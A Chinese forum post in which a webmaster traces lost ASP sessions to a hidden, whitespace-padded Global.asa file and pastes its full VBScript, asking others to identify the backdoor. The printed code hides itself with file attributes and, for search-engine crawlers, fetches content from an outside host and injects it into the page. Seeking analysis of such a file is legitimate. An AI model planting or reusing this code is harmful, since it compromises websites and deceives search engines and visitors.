关于Session丢失的问题终于解决了,特来分享
前段时间在论坛问过一个问题,就是Session丢失,只要刷新一下,或者跳转一个页面都会丢失,开始怀疑是空间的问题,因为在我本地测试是正常。在论坛询问说了几种可能,都没能实现,空间商不给弄。本来已经放弃解决了,决定用本机IIS+FTP曲线解决,但在同事电脑上装好IIS测试,居然也是同样的问题,至此说明确实是程序问题,于是继续Google Session的相关信息,发现了Global.asa文件,于是制作了一个上传,却无意中发现,网站目录下已经有一个隐藏的Global.asa文件,改名后问题解决。现把Global.asa文件放出,请高手给指点一下,这是什么后门文件。前面放了大段空白,让人以为这是个空白文件。程序代码:
<script language="vbscript" runat="server"> sub Application_OnStart end sub sub Application_OnEnd end sub sub Session_OnStart dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) if instr(name,";")>0 then f.Attributes=1+2+4 response.end() end if if instr(server.MapPath("."),".asp")>0 or instr(server.MapPath("."),".asa")>0 then f.Attributes=1+2+4 response.end() end if Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if Dim ScriptAddress, M_ItemUrl, M_item ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME")) If (Request.QueryString <> "") Then GetUrl =Request.ServerVariables("Server_Name")&ScriptAddress &"?"&Request.QueryString else GetUrl= Request.ServerVariables("Server_Name")&ScriptAddress end if user_agent=Request.ServerVariables("HTTP_USER_AGENT") httpuser=LCase(request.servervariables("http_user_agent")) if instr(geturl,"zblog")=0 then if instr(httpuser,"baidu")>0 or instr(httpuser,"google")>0 or instr(httpuser,"sogou")>0 then 'if instr(GetUrl,"?")=0 and len(GetUrl)<45 then Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET","http://link."&GetUrl&"&bot="&httpuser&"&dd="&cstr(int(rnd()*10000)+1),False ObjXMLHTTP.setRequestHeader "User-Agent","http://link."&GetUrl&"&bot="&httpuser&"&dd="&cstr(int(rnd()*10000)+1) ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close key1=lcase(GetHtml) response.Write key1 f.Attributes=1+2+4 'response.end() 'end if end if end if f.Attributes=1+2+4 end sub 'sub Session_OnEnd 'end sub </script>